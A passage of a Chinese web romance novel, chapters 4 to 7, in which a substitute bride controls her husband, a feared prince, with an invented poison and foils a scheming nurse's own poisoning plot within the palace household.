《和禁欲夫君成亲后》 第4章 夫君想在这里洞房 温家真是会养女儿,养出来的千金一个比一个厉害,尤其是他十里红妆,八抬大轿娶回来的好王妃,更是技高一筹。 竟然在他的眼皮子底下,给他下毒,还下成了。 是他大意,小瞧了她。 容妄气急攻心,喉间涌上血沫,有些许腥甜。 他还未来得及说话,刚刚出去的青澜再次折返,“王爷不好了,王妃把王府十年来的账本都烧了!” “什么?”容妄怒火更甚。 片刻,他咬碎后槽牙,从齿缝中挤出一句话。 “把温家人全都给本王绑回来!本王亲自问问,温家是如何养出这么一个好女儿!” …… 火烧账本的事情很快就在夜王府里传开。 西厢院里,展嬷嬷坐在太妃椅上,悠哉悠哉地品着茶。 “嬷嬷救命!”就在这时,春夜快步从外面走进来。 她手里捧着碎银首饰,三步两步地跪在展嬷嬷跟前,哀求道:“嬷嬷行行好,求您把奴婢从王妃身边要走吧。” “伺候王妃可是多少人求都求不来的,你怎么还往外推呢?”展嬷嬷抬起眼皮,放下手中茶盏。 “嬷嬷不知道,王妃行事乖张,手段狠毒,就在刚刚,她把王府近十年的账本都给烧了!”春夜拍拍胸口,“奴婢跟着她,万一惹她不高兴,说不定会把奴婢剁碎了喂狗!奴婢可不想就这么不明不白的死了!” 烧账本的事展嬷嬷也听说了,她本以为那些糊涂账能让这位王妃忙得焦头烂额,缠住她一阵子,没想到王妃比她想得聪明些,竟然一把火将账本付之一炬。 这种平账的做法虽然粗鲁,但却很有效。 不过烧了也好,烧了干干净净,她做的那些手脚也就无从查起了。 “此事真的很难办啊。”展嬷嬷摸着下巴感叹道:“你已经在王妃面前混了个眼熟,我若是再跟王妃开口要你,岂不是显得我倚老卖老,不识抬举?” 春夜低着头,心想。 你可不就是倚老卖老吗? 但她有求于展嬷嬷,只能舔着脸,赔着笑,“怎么会呢?嬷嬷是王爷的奶娘,这样的情分王妃合该把您当做婆母般,敬着您三分。” “哈哈哈哈,还是你会说话,小嘴真甜。” 展嬷嬷被哄得心花怒放,她摸了一把春夜的小脸,随后从太妃椅上起身。 走到梳妆台前,展嬷嬷翻出一个小盒子,从里面拿出一包药粉递给春夜。 “这是?”春夜疑惑。 展嬷嬷压低声音,小心道:“它叫活死人,是一种极其霸道的毒药,任何人服下它,都会变得跟活死人一样沉睡不醒,就算是医术再高的人也查不出来。你不是不想留在王妃身边吗?只要你把它下到王妃的吃食中……” “这怎么能行?她可是王妃!”春夜吓得一哆嗦,扔掉了手中的药粉。 她只是想换个差事,可没打算真的杀人。 展嬷嬷表情阴狠的捡起药粉,动作粗鲁的拽起春夜的手,不由分说的将药粉强行塞进去。 “东西我已经给你了,要么她吃,要么你吃。” “该怎么选?你自己决定。” “春夜,可千万别让我失望啊。”展嬷嬷语重心长道。 锦绣阁里,万籁寂静。 温斩月坐在书桌前,研墨洗笔,镇纸斩卷。 替嫁一事已成,她已经是板上钉钉的夜王妃,但夜王府的水比她想的还要深,她的夫君她自会拿捏。 但旁的,她还需找个信任的人来做帮手。 沾墨提笔,温斩月正准备书写,忽然听到隔间传来花瓶碎裂的声音,她手一顿,浓郁的墨汁吧嗒一声滴在白色宣纸上,墨渍就着水很快便在纸上晕染出了斑驳。 温斩月:“……” 从西厢院出来,春夜就一直心不在焉。 打碎花瓶后,她吓得急忙跑出来跪在书桌前,不停地磕头求饶。 “是奴婢的错,还请王妃高抬贵手,饶了奴婢吧,奴婢不是故意的,求王妃开恩,求王妃网开一面……”春夜急得头冒虚汗,语无伦次。 温斩月没说话,只是掀开脏掉的宣纸,团成一团扔到一旁。 “你说,这算不算王妃写信未半而中道崩阻?” 不紧不慢的语调落在春夜的耳朵里,像是阎王递过来的催命符,她也不知道怎么想的,突然就捡起地上的纸团往嘴里塞。 “王妃,饶了奴婢吧,奴婢把它吃下去,吃下去王妃就看不见了……” 春夜的速度很快,快到温斩月都来不及阻拦,她将纸团咽下去,才心惊胆颤地看向眼前这尊杀神。 “王妃,现在可以放过奴婢了吗?”春夜脸上挂着泪,唇色惨白道。 温斩月站起身来,朝着春夜步步逼近。 “你好像有病。”温斩月冷笑,“但本宫喜欢你身上这股子疯劲儿。” “谢,谢王妃夸赞,奴……”春夜的话还未说完,忽然被一阵劲风扫到,她胃里翻江倒海,一个没忍住,哇的一声吐了出来。 那团污秽里,就有刚刚咽下去的纸团。 温斩月活动了一下手腕,冷言,“疯劲儿用在自己身上可不太好,这墨汁有毒,虽不致命,却也能要你疼上一时半会。” 温斩月嫌恶地扫过地上的污秽,“快点收拾了,闻着恶心。” “是是是,奴婢这就去!”春夜从地上爬起来,拿来清扫的工具把自己吐出来的东西收拾干净。 怕有味道,还特意用了熏香。 梨花海棠的味道窜入鼻间,温斩月放下笔,等到墨痕干涸,将信折叠起来,用朱砂封住,递给发呆的春夜。 “按照上面的地址送出去。” “是,王妃。”春夜回过神来,拿着书信走出锦绣阁。 春夜离开后,温斩月看了看时辰,也是时候用晚膳了。 她吩咐厨房直接将膳食送到书房,她收拾一番,便拎着提前温好的两壶梨花白,朝着书房的方向去了。 有了前车之鉴,膳食送来后,容妄先让青澜用银针挨个试了一遍。 “王爷,没毒!”青澜将没变色的银针递过来。 容妄瞧了一眼,心中越发气闷。 在他自己的地盘上,吃个饭还要提心吊胆地怕人下毒。 他果然还是太仁慈了。 昨晚那三箭就该射中心口,等人死了,把尸体吊在城门口,以示惩戒。 暴君的名声他担着,总好过现在身中剧毒,被人拿捏。 “王爷,臣妾来找您一起用膳啦。”温斩月换了一身红衣劲装,拎着两壶酒走进来,细看之下,衣服和昨夜的婚服还有点相像。 “你个毒妇,还想怎么毒害王爷?”青澜一时着急,刀剑指向温斩月。 只是剑刚出半寸,就被容妄压了回去。 “王爷,属下只是想替你教训……” “你不是她的对手。”容妄冷冷道:“本王若不拦着你,来年的今天,就是你的忌日。” “还是夫君懂我。”温斩月娇俏一笑。 她看向青澜时,笑里却透着森森杀意。 “这次就看在王爷的面上不与你计较了,但下次麻烦换个称呼,若再敢叫本宫毒妇,那本宫就要你见识见识,究竟何为毒妇?”说完,温斩月把温好的酒放到隔间的小桌上,对着青澜道:“还不快滚出去,留在这里妨碍本宫和夫君花前月下吗?” “你……”青澜还想说什么,被容妄眼神制止。 他抬抬手,示意青澜先离开。 青澜一走,温斩月便朝着容妄做了个请的姿势。 “夫君,落座。” “你又在耍什么把戏?”容妄走过来,眼神阴沉。 “今日一次没能毒死本王,所以再来第二次?” “夫君怎么能这么想我?”温斩月倒了一杯梨花白递过去,“白日里给夫君下毒,不过是想要以此为要挟,希望夫君以后日日都能同我一起用膳。” “鬼才会信你。” “我说的都是真的。”温斩月眨了眨眼睛,明明看上去很无辜,但却有一种疯癫的病娇感。 “夫君身体里的毒叫三日欢,没有解药的情况下,只能欢愉地活过三日,所以我都把解药都藏在饭菜里啦,只要夫君日日陪我一起用膳,三日欢的毒就不会发作。” “你认为本王还会吃你送来的东西吗?” “不吃的话,三日后夫君就会死,夫君要是死了,我真的会很伤心的。”说着,温斩月的眼中竟然朦胧地有了一层水雾。 容妄的表情僵在脸上。 这女人,真是随时随地大小演。 “夫君要是实在不想吃也没关系。”温斩月再次把酒杯推过去。 “这次的解药藏在酒里,夫君与我昨日剑拔弩张,忘了喝合卺酒,现在补上。” 容妄盯着香气四溢的梨花白,忽而眼中光亮闪过,懒懒道:“昨夜忘了的可不止是合卺酒,还有洞房。” 他本想拿这句话当成一个试探。 不料,听到这话的女人眼中精光闪现,手里端着酒杯,故意跌进了他怀里。 “夫君难不成是想在这里洞房?”温斩月媚眼如丝,语调暧昧诱惑。 第5章 禁欲太久 软香温玉在怀,容妄又不是坐怀不乱的柳下惠,一股欲火瞬间从心底疯了一般地窜上来,烧得他口干舌燥,饥渴难耐。 尤其是女人的手攀附在他的胸口,缓慢却有力地画着圈。 指尖触摸过的地方,酥酥麻麻的感觉让他心神荡漾,说不出的难受,却又十分享受。 “温家就教给你这点取悦夫君的手段吗?”容妄抓住温斩月不安分的小手,稳住心神,讥诮道:“这可比醉欢楼的花魁差得多了。” 温斩月神色一顿。 这个狗东西,居然拿她跟花魁比? “夫君这么说,好伤臣妾的心。”温斩月起身,换了个姿势跨坐在容妄的腿上。 她将手中的梨花白一仰而尽,不等容妄反应,温斩月便朝着面具下冰冷的薄唇凑上去。 两片温热相接,容妄猛地睁大了双眼。 梨花白的酒香混合着欲念,像是甘甜可口的花雕缓缓的流进容妄的口腔,从咽喉顺势而下,将胸腔的火尽数点燃。 再忍下去,就不礼貌了。 容妄单手拖着温斩月,另一只手将桌上的饭菜全都扫倒在地。 他反客为主,加深这个带着欲念的吻,欺身而上。 桌上的饭菜掉到地上,传来噼里啪啦的声响,守在门外的青澜护主心切,急忙拔刀闯了进去。 “王爷,属下前来护……驾。” “滚出去!”容妄怒火中烧。 此时的温斩月身上的外衣已经被褪去,香肩半露,诱惑至极地躺在容妄身下。 青澜看呆了,他脑子有些转不过弯来。 明明白天两人还视同水火,你死我活,怎么现在就…… “还看!”容妄扯下衣服,将温斩月护在怀里,严丝不漏。 “眼睛不想要了?” “王爷恕罪,属下,属下这就滚!”反应过来的青澜马不停蹄地滚了出去,生怕自己跑的太慢,眼睛不保。 被青澜这么一打搅,容妄清醒许多。 多年来,他一直征战沙场,从来都没有想过那档子事。 外界都传言他不举,他也从未想过要澄清。 之所以想要娶个王妃,也只是他觉得,王府应当有个女主人,没想到…… 想起刚才的情难自禁,容妄脸色越发难看。 他起身,眼神微沉,片刻吐露出一个字。 “滚。” 温斩月并不纠缠,容妄迟早都是她的囊中之物,她不急。 裹紧外衣,温斩月从书房里走出来,她看着立在一旁显然道心已经破碎的青澜,阴恻恻地威胁道:“下次再敢坏本宫好事,用不着王爷动手,本宫亲自把你阉了送到皇宫去当太监。” 青澜猛地护住下身,他潜意识觉得,这个疯女人真的能做出来这种事。 回到锦绣阁,春夜已经烧好水,等着温斩月沐浴。 “王妃,让奴婢来伺候您吧。” “不用。”立在屏风前,温斩月盯着一池温水,“本宫不喜欢沐浴时有人在跟前。” “是,那奴婢就在门外,有事王妃您唤一声。”说完,春夜便低着头退了出去。 春夜走后,温斩月才解开罗裙,一层一层的衣衫褪下来,她后腰处的疤痕恐怖猩红,像一道恶毒的诅咒攀附在她的细腰处。 温斩月伸手摸摸,已经感觉不到疼痛,但却十分发痒。 “你就是个灾星,谁跟你有关系,谁倒霉!” “村长,你还在犹豫什么?烧死她!只要烧死她,我们村就能太平了!” “她不死,死的就是我们全村人啊!” 回忆像潮水一般朝着温斩月铺天盖地的压过来,她全身浸在水里,强烈的窒息感湮灭了她。 她的后腰处曾有一块曼陀沙华的图腾,自她降生起,这块图腾便存在了。 也正是因为这块图腾,温家便听信妖僧谗言,认为她是个不祥之人,迟早会给温家带来祸患,在她还未满月时,便将她送到偏僻的村子里,交给一处农户收养。 记忆里,温斩月的确是过了几年好日子。 她的养父是个猎户,家里虽然穷,但养父总能在山上猎到一些野味改善伙食,还有她的养母,是个心灵手巧的织女,她身上的新衣全都是她养母一点点纺织出来的。 但好景并不长。 幸福和温暖全都在她八岁那年,戛然而止。 温热的水挤压着肺部,温斩月的呼吸越来越困难,就在她以为自己快要在水里溺毙时,一双大手忽然毫不费力的将她从水里打捞出来。 “你是在找死吗?”容妄咬碎牙,狠狠道。 温斩月的瞳孔已经涣散,在容妄气急败坏的语气里一点点聚集,等到眼神清明,她收手勾住容妄的脖颈,慵懒诱惑道:“不是刚跟王爷缠绵过吗?这么快就想念臣妾了?” “你的发钗遗落在本王书房,本王给你送过来。” 容妄单手抱起水里的温斩月,另一只手扯下屏风上的衣衫裹住怀里的人。 “你想死可以,但别脏了本王的府邸。”容妄抱着温斩月来到软塌前坐下,掏出怀里的发钗扔到温斩月的面前。 “再有下次,本王不会救你。” “不过区区一支发钗,怎的劳烦王爷亲自送来?”温斩月一手拿起发钗,一手轻轻捏住容妄的衣袖。 “臣妾没有寻死,嫁给王爷是臣妾毕生之梦想,如今美梦成真,怎会想死?”温斩月凑上前来,“臣妾当然是要日日守着王爷,和王爷白头偕老啊。” “白头偕老?”容妄低嗤,“若你真的这么喜欢本王,为何还会给本王下毒?真当本王是三岁小孩吗?” 容妄一把甩开温斩月,眼里全无半点温情。 “从今天起,你不许踏出锦绣阁半步。” “那不行!”温斩月往后一仰,露出光滑洁白的脖颈,“我若是不和王爷一起用膳,三日后毒发,王爷会死的。” 白花花肌肤就这样猝不及防地闯进容妄的眼眸。 他喉结上下滚动,眼神微微发暗。 这女人,真是颇有手段。 “王爷这么喜欢盯着臣妾看?”察觉到容妄的眼神变化,温斩月嘴角带笑,故意将身上的衣衫往下拽了拽。 “还有更好看的呢,王爷想看吗?” “不知廉耻!”容妄偏过头,气血翻涌。 他真是禁欲太久了,才会碰见一个女人就让他这么……这么的起火。 “区区三日欢,你不给本王解药,本王也会有办法找到。但你,从今往后,绝不要妄想踏出锦绣阁半步!”说完,容妄头也不回地离开。 温斩月坐在榻上,盯着手里的发钗轻笑。 这男人要是嘴硬起来,倒是也挺好玩的,既然不肯乖乖就范,那自己就冷他几天,让他尝尝三日欢真正的威力。 真想看看,毒发时,容妄被折磨的光景。 这场面只是想想,温斩月的心头就一片火热。 容妄不许温斩月离开锦绣阁,温斩月便真的乖乖听话,将锦绣阁关了起来,大门不出,二门不迈。 禁足的消息很快便传到王府众人的耳朵里。 “王妃真惨,明明是温家造的孽,结果全让王妃一个人承受了。” “可不是嘛?新婚被射伤,现在又被禁足,不知道过几天王爷又打算怎么折磨她呢。” “要我说也是她活该,谁让她是温家的人,温家当初明明答应过王爷,如今反悔让王爷失了面子,王爷没杀她全家已经算是很仁慈了。” “话虽这么说,但王妃是无辜的,又不是她的错。” 众人的议论钻到展嬷嬷的耳朵里,她眼珠子一转,朝着后花园去了。 夜王府的后花园种着一大片梨树海棠。 此时,花开得正鲜艳,春夜拎着小篮子,摘下一朵朵完整的梨花放入篮中。 “呦,还有心思摘花呢。”展嬷嬷阴阳怪气的声音从身后传来。 春夜被吓得手一松,篮子掉在地上,刚刚摘好的梨花撒出来不少。 “奴婢见过展嬷嬷。”春夜跪下身去。 “我说你是真傻还是装傻。”展嬷嬷走过来,居高临下地盯着瑟瑟发抖的春夜。 “王妃现在被王爷禁足,正是你下手的好时机,只要你神不知鬼不觉的……” “嬷嬷!”春夜打断,“奴婢虽然不喜王妃,但从来没有想过要害人,这件事情嬷嬷还是找别人做吧。”说完,春夜便起身拿起篮子要走。 “慢着。”展嬷嬷叫住春夜。 “你已经知道了我的心思,要是你不肯做,那便不是自己人,你认为我会让你继续在王府活着待下去吗?” “嬷嬷想做什么?”春夜害怕地后退,“奴婢是王妃跟前的人,要是奴婢死了,王妃肯定……她肯定会疑心的!” “明着杀你不行,暗地里寻个由头还不成吗?”展嬷嬷阴着脸,“这些年,我打死发卖的丫鬟还少吗?王妃难道还能因为你一个区区奴婢跟我翻脸不成?” 展嬷嬷走到春夜跟前,眼神如毒蛇一般缠着春夜不放。 “你在王府的时间也不短,算起来也是王府的老人了,难道还不知道什么叫做识时务者为俊杰吗?我再给你最后一天时间,要是再听不到王妃中毒的消息,那可就别怪我对你不客气了。” 第6章 三日欢毒发 春夜拎着篮子回到锦绣阁,脑子里想着展嬷嬷说的话。 虽然展嬷嬷很狂妄,但她就是有这个狂妄的资本,这些年,夜王府一直都没有女主人,展嬷嬷又是王爷的奶娘,地位自然是不同寻常。 可她真的要听展嬷嬷的话,给王妃下毒吗? “愣着干什么?把梨花洗干净递过来。”温斩月盯着魂不守舍的春夜,眼神狐疑。 春夜被冷不丁的吓了一激灵,心突突的跳。 她急忙将梨花拿去洗。 “让你出门摘花,你把魂丢在后花园了?”水池旁,温斩月突然出现春夜的身后。 春夜再次被吓到,手一抖,装着梨花的篮子就翻了。 好在温斩月眼疾手快,稳稳地接住篮子放在一旁。 “说吧。”温斩月拉过一把椅子坐下,好整以暇地盯着神色慌乱的春夜,“你知道本宫的性子,若是敢说谎,本宫就把你浑身的骨头碾碎当花肥。” 春夜本就不禁吓,被展嬷嬷威胁恐吓一番又被温斩月连着吓了两次,此时双腿发软,砰的一下瘫倒在地。 她竹筒倒豆子一般地把这两日发生的事情都说了出来。 一开始温斩月还是笑着的,可听着听着,那张明媚张扬的脸逐渐阴沉得似乎可以滴出水来。 “奴婢知道错了,还请王妃饶了奴婢吧……”春夜不停地磕头求饶。 温斩月端坐着,她抬起腿,用脚尖抵住春夜的下巴。 “她给你的药呢?” “在这里。”春夜小心翼翼地从怀中拿出药粉,“奴婢虽然害怕王妃,但从未想过真的害了王妃,还请王妃明鉴!” 温斩月拿起药粉,放在眼前,细看。 这个展嬷嬷还真是够狠毒,若不是此番阴毒的计谋是在针对她,她倒还挺欣赏这等手段狠辣之人。 “你过来,本宫有话同你讲。”温斩月俯身在春夜耳边,低语几句。 春夜神色疑虑,片刻点点头。 “王妃放心,奴婢一定办得妥当。” 春夜走后,温斩月捞起袖子把梨花全洗干净,按照记忆里的酿酒制法全都碾碎了泡在粟米坛子里,然后将坛子密封,埋在了锦绣阁的古树底下。 做完这一切,已经到了下午。 温斩月累的直不起腰,她算算时辰,应当快到三日欢毒发了。 …… 书房里,容妄一口黑血喷涌而出。 蚀骨的疼痛让他直冒冷汗,浑身的衣衫湿透,活脱脱像刚从水里打捞出来一般。 是他太高估自己了。 本以为能挺到逼温斩月拿出解药,没想到三日欢的毒性比他想的要猛烈。 毒药发作时,他的五脏六腑疼的像是有一把匕首在里面肆意翻搅,除了要命的疼痛,还有难以抗拒的窒息。 “王爷,卢太医来了。”青澜的声音在门外响起。 容妄稳住心神,应了一声。 卢太医一进门,便急忙用帕子将容妄吐出来的黑血一一收藏。 “王爷再忍忍。”卢太医眼中全是对毒药的渴望,“微臣昨日回去后翻遍整个太医院的医书,始终没有找到有关三日欢的记载。” “不过王爷放心。”卢太医将沾着血的手帕放到医药箱里,“只要王爷再给微臣一些时日,臣定能研究出解药!” “等你研究出来,本王早就死了!”容妄双手握紧,青筋暴起。 卢太医见状,急忙拿出银针,照着几个穴位猛扎下去。 “银针之法只能缓解疼痛,并不能去除毒性。”卢太医擦擦额头的汗,“王爷想要早点解毒,还得有解药的配方。” 容妄闭着眼,喉咙里涌上一股腥甜。 看来那女人没有撒谎,昨日他没有毒发,是因为解药藏在那一口梨花白里。 梨花白…… 思及此,容妄眼前忽然浮现那个带着酒香和欲念的吻。 那是他过往二十多年里,从未体验过的感觉,很是新奇,也十分的上瘾,让人忍不住食髓知味,想要更多。 “是不是只要有解药的配方,你便能研究出解药?” “这是自然。”卢太医双眼放光,“只要有配方,不出半日,臣一定能配出解药!” “好。”容妄缓缓睁眼,“本王给你。” “若是配不出来……”容妄阴森的目光略过卢太医,阴沉又狠厉。 …… 西厢院里,展嬷嬷拿着珠算,随意地拨打着。 “你是说,王妃已经服下毒药?” 春夜忙点头,“那还能有假?奴婢亲眼看她吃下去,倒在床上怎么叫都不醒。” “你不是说自己不敢害人吗?”展嬷嬷疑惑的目光在春夜身上来回打量。 春夜低垂着眼皮,“奴婢的确不想害人,是王妃她逼奴婢的,就因为王爷让她禁足,她便把怒气撒在奴婢的头上,奴婢挨了她好一顿打。” 春夜一边哭唧唧,一边解开自己的衣裳。 果不其然,后背红痕明显,一看就是真的被打过一顿。 “嬷嬷您行行好,奴婢都是按照您的吩咐办事的,您可要庇佑着奴婢啊。”春夜跪在展嬷嬷的面前,哭得梨花又带雨。 展嬷嬷怜惜地扶起春夜,安抚道:“你放心,你是为我办事的,我还能亏了你不成?只不过这女人阴险狡诈,我还得亲自去看一眼才能放心。” “嬷嬷这是不信我?”春夜不可置信。 展嬷嬷皮笑肉不笑,“你也不要怪我,这种事情当然要亲自确认后,我方能安心。” “那……嬷嬷随我来。”春夜说着,便率先带路。 王妃交代给她的便是把展嬷嬷引到锦绣阁,至于引到了要做什么,她便不知了。 锦绣阁内院里只有春夜一个丫鬟,此时房门微掩着,展嬷嬷怕有诈,先把春夜推进去,确定里面没有任何反应,这才提裙迈入。 锦绣阁内寂静万分,温斩月躺在床上,了无生气。 看样子,倒真有几分像活死人。 展嬷嬷本来心中存疑,亲眼见证后,那得意的笑容爬上眉梢。 “没想到你胆子这么小,居然真的把这件事情给做成了。”展嬷嬷斜眼看着春夜,“只不过毒杀王妃这事太大,总要有人出来当替死鬼的。” “嬷嬷……”春夜频频后退。 “你放心。”展嬷嬷阴恻恻的笑容像是淬了毒,“你先下去陪王妃,每到清明,我一定多烧一点纸钱给你,保证让你在下面过得富足。” 展嬷嬷从袖中掏出匕首,步步朝着春夜逼近。 春夜一个弱女子论力气当然比不过展嬷嬷一个五大三粗的妇人,她第一时间想到的便是逃,可她还没跑出两步,人就被展嬷嬷从身后揪住头发拽着压在书桌上。 “我下手很快的,绝不会让你遭罪。”说完,展嬷嬷便挥动着匕首朝着春夜心口猛刺。 春夜害怕地闭眼,千钧一发间,急忙大喊,“王妃救我!” 话音未落,一根发钗破风而来,带着凌冽的杀气穿过展嬷嬷的肩膀,钻心的疼痛让她控制不住的手一抖,匕首偏离两寸,落在旁边梨花木的书桌上。 “好一个歹毒的妇人。”温斩月从床上起身,整整衣衫。 那用来簪发的钗子被她当成暗器打了出去,此时如墨一般的发丝不管不顾地倾泻而下,倒是衬得她越发疯批邪魅起来。 春夜趁机挣脱开,跑到温斩月面前哭诉。 “王妃,奴婢刚才差一点就死了,呜呜呜。” “别哭了!这不是活得好好的吗?”温斩月白了一眼,“有本宫在,你不会死。” 情势急转而下,展嬷嬷瞬间回过神来。 她又不是傻子,今日这番变故肯定是春夜这个小贱人出卖了她,不但没有按照她说的去做,反而跟温家这个小贱蹄子合起伙来给她下套。 “王妃真是好手段啊。”展嬷嬷捂着流血的肩膀,冷笑。 “没想到我算计多年,居然会栽在你一个黄毛丫头手里,不过……”展嬷嬷拉长语调,“你又能把我怎么样呢?整个夜王府谁不知道我是王爷的奶娘,你要是敢罚我,王爷一定会更加厌恶你,你这辈子都别想讨得王爷欢心!” “聒噪!”温斩月倏地起身,身影飞窜到展嬷嬷跟前,不等展嬷嬷有所反应,她的手已经掐上了展嬷嬷的脖颈。 只要稍稍用力,展嬷嬷便能当场去走黄泉路。 “王妃不要!”春夜急忙阻拦。 温斩月觉得好笑,她忍不住发问,“你竟要替这个老不死的求情?” “王妃误会了。”春夜迟疑道:“展嬷嬷死不足惜,可她有句话没说错,若是王妃罚了她,王爷肯定会更加厌恶王妃的。” “没错。”展嬷嬷脸色涨红,却依旧嘴贱,“王爷才是这夜王府的天,而我是王爷最重要的人,你要是罚我,以后别想过安生日子!” “谁说我要罚你,我分明……是要杀你。”温斩月的话音落下,五指倏地收紧。 展嬷嬷浑身使不上力,当下便翻了白眼,只剩下一口气吊着。 一旁的春夜看呆了。 虽然展嬷嬷死有余辜,可王妃怎么能说杀人就杀人。 “住手!”伴着这道声音一起闯进来的还有一支飞镖,直冲温斩月而来。 第7章 等着臣妾喂您吗? 这个速度又快又狠,温斩月能躲,但她没有。 她什么都没做,只是任由飞镖穿过自己的手臂,一瞬间,血滴四溅。 猩气的血色落在展嬷嬷脸上,在惊吓和窒息的双重刺激下,展嬷嬷当场便昏了过去。 温斩月松开手,转过身看着朝着她飞奔而来的容妄。 即便是逆着光,那飞扬的发丝也在蠢蠢欲动,让她控制不住的小鹿乱撞。 容妄第一眼便看到了温斩月滴着血的手臂。 他冷眉一挑,极度不悦。 这女人前两次躲得不是很好吗?这一次,为什么不躲? “你在做什么?”容妄压着隐忍的怒气,质问道。 温斩月笑得无良,“当然是替王爷铲除小人了,展嬷嬷身为王爷的奶娘,欺上瞒下,不但做假账从中捞好处,甚至还……” “别说了。”容妄打断,“她是本王的奶娘,所做之事本王皆都知晓。” “哦?”温斩月有点意外。 容妄冷着脸,走过来坐下。 “这么多年,展嬷嬷为了王府操劳上下,没有功劳也要苦劳,不过是贪点钱财,本王也不差这点。” “这里是夜王府,一举一动都逃不过本王的眼睛,她能这么猖狂,也是本王默许了的。” “就算你是本王的王妃,也不能欺辱她。” 容妄这护短的样子让温斩月心头如扎了根刺一样的难受。 她嗤笑,抬眸,“那她要毒杀臣妾,也是王爷默许的了?” “什么毒杀?”容妄一愣。 温斩月示意春夜过来,把事情的原委讲给容妄听。 起初容妄并不信,他了解展嬷嬷的为人,只是贪点钱财并不会真的下毒害人,直到他让青澜去西厢院里搜出了剩余的活死人药粉。 “王爷这么笃定她不会下毒,不如就将这药粉吞下,反正王爷身上也有三日欢的毒,左右不过一死,王爷您说呢?”温斩月讥诮道。 容妄将药粉放到一旁。 “她下毒是她有错,但你还活着。” “能活着是本宫的本事,但这不代表她就能逃过一劫。”温斩月有些许的失望,她站起身背对着容妄。 “本宫知道王爷情深义重,展嬷嬷做假账一事本宫并不想追究,这才一把火烧了账本,替她平了账,但她千不该万不该,打起本宫的主意。” “你想如何?”容妄紧蹙眉头。 “我要她死。” “办不到。”容妄想都没想,直接拒绝。 “展嬷嬷与本王有养育之恩,本王绝不会让她丢掉性命。” 容妄这么重情义是温斩月没想到的,外界都传言她的夫君杀人如麻,残忍暴戾,但现在看来,这一切不过都是表象。 “王爷不想她死,那臣妾换个条件。”温斩月走到一旁坐下,她故意卷起袖子,露出被飞镖刺中的伤口。 “昨日臣妾让春夜送出去一封书信,若臣妾没猜错,王爷应当找人拦下来了吧。” 容妄还未说话,一旁的青澜脸色突变。 “王爷应当看过书信的内容了,我的第一个条件便是找信中之人帮臣妾操持王府中馈,至于展嬷嬷,王爷爱怎么处理便怎么处理吧。” “还有吗?”容妄追问。 “请王爷解了臣妾的禁足。”温斩月拿出帕子擦拭着手臂上的伤口,“想必王爷已经体会过三日欢的威力了,以后还请王爷允准,日日都让臣妾找您一同用膳吧。” 这里是京都夜王府,是容妄自己的地盘,他掌握着王府众人的生杀大权,想杀谁,想护谁,全凭他喜好,根本不存在要谈什么条件。 他完全可以把女人的话当成耳旁风。 可当他的眸光扫过女人手臂上刺眼灼目的鲜红时,拒绝的话就像是一块石头堵在他的喉咙里,让他不受控制般机械地点头。 “本王答应你。” “如此,甚好。”温斩月勾起唇角。 “时候不早了,臣妾这就吩咐厨房去准备膳食,至于她……”温斩月嫌恶地扫过地上晕厥过去的展嬷嬷。 “她就交给王爷处理了,希望臣妾回来时,锦绣阁的地板已经干净。” 温斩月随便用帕子缠住伤口,便前往厨房去了。 容妄吩咐青澜将展嬷嬷送去西厢院,又命春夜把锦绣阁打扫干净。 “王爷,这飞镖该如何处理?”春夜用手帕托着带血的飞镖,小心翼翼地询问道。 夜王府的东西都有标记,要是处理不当,被有心人拿去利用可就麻烦了,虽然京都城无人敢得罪夜王,但这种事情不怕一万,就怕万一。 容妄默不作声,他盯着飞镖上已经变暗的血色,阴鸷的神情里居然夹杂了一丝迷茫。 他十岁就已经上了战场,在腥风血雨里泡着长大,踏过森森白骨,淌过艳艳鲜血,受过的伤,杀过的人比老天爷下的雨还要多。 这样的他,看到飞镖上的血色,竟隐隐有种心窒的感觉。 “交给本王吧。”容妄伸手连带着帕子一起接过来。 用帕子将飞镖包裹起来放好,那动作小心翼翼,倒像是在处理什么珍贵的宝物。 一旁的春夜忍不住犯嘀咕,就算飞镖要收回去,那也应该擦干净了再收拾,怎么就连带着血迹一起包起来了? 心中虽疑惑,但春夜决计没有胆子发问的。 “王爷稍候片刻,奴婢去看看王妃膳食准备得如何了。”不肯跟杀神待在锦绣阁,春夜行过礼后便从锦绣阁退了出来。 …… 很快便到了用晚膳的时辰。 温斩月带着做好的膳食回到锦绣阁,吩咐春夜将饭菜一一摆好。 桌面上的饭菜荤素搭配,色香味俱全,一看就是花了心思的,但在如此可口的饭菜面前,容妄却迟迟没有动筷子。 “王爷不吃,是等着臣妾喂您吗?”温斩月夹起一筷子笋丝放到容妄面前。 “吃吧,解药就在这盘菜里。” 闻言,容妄挑眉。 “果真?” “骗你做什么?”温斩月轻笑。 “若是王爷不信,大可以只吃笋丝,看看今晚还会不会毒发。” 容妄挑起一筷子笋丝送进口中,红油笋丝酸辣爽口,油香不腻,隐隐还有些青葱的香味窜至舌尖,倒是别有一番风味。 “这是新出的菜式?” “王爷喜欢吗?”温斩月不答反问。 容妄点点头,“很符合本王的口味。” “王爷喜欢就好。”温斩月盛出一碗汤来,“这道菜是臣妾亲手做的,以后王爷若是想吃,直接来知会臣妾一声。” 容妄轻咳两声,眼神有些许的不自然。 “偶尔换换口味可以,一直吃也没那么好吃。” “哦~”温斩月笑出声来。 容妄脸色愠怒,却又不好发作。 一顿饭吃下来,容妄硬是憋了一肚子气,临走之时,吩咐青澜收拾碗筷,让温斩月在锦绣阁好好休息。 出了锦绣阁的门,容妄叫住青澜。 “把剩下的红油笋丝拿去给卢正义,让他好好研究,若是再配不出解药,本王就把他的脑袋拧下来当球踢。” “是,王爷。” “对了。”容妄沉思片刻,道:“回来的时候跟他讨要一些极品的金疮药。” “王爷您受伤了?伤哪儿了?”青澜着急地就要上前查看。 容妄一个白眼翻过去,“不是本王,拿了药就给王妃送过来,不必知会本王。” “属下知道了。”青澜一头雾水。 王妃身上的伤难道不是王爷亲手造成的吗?怎么还打一巴掌给个甜枣呢?难不成这是王爷新研究的御妻之术? …… 整日都没怎么闲下来,再加上受伤的缘故,温斩月感觉身子有些疲累。 她吩咐春夜去烧洗澡水,想要沐浴完早些休息。 “王妃。”屏风外的春夜恭敬地捧着一个陶瓷药瓶,“王爷身边的侍卫青澜刚才送来一瓶药,说是王爷吩咐的,此药有奇效,能让王妃手臂伤处不留疤。” 闻此,温斩月睁开双眸,从池中走出。 她伸手拽下屏风上干净的里衣裹住自己,来到软榻前坐下。 手臂上的这点伤对于温斩月来说,根本不算什么,她并不会真的放在心上,但这瓶药是容妄送来的好意,她理所应当要笑纳。 